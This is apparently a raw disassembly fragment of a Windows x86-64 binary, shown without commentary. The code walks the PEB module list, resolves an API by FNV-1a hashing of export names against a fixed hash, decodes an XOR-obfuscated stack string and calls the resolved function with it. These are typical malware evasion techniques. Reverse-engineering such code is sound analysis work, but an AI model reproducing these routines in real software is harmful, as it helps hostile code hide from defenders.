nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001577f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140015760
cmp edx, 0x491e0a9c
je 0x140015789
test r9d, r9d
jne 0x140015740
mov rax, qword [rax]
jmp 0x140015710
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400158ed
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400157e0
cmp r8d, 0x3e
jge 0x140015935
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x140015900
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400159c4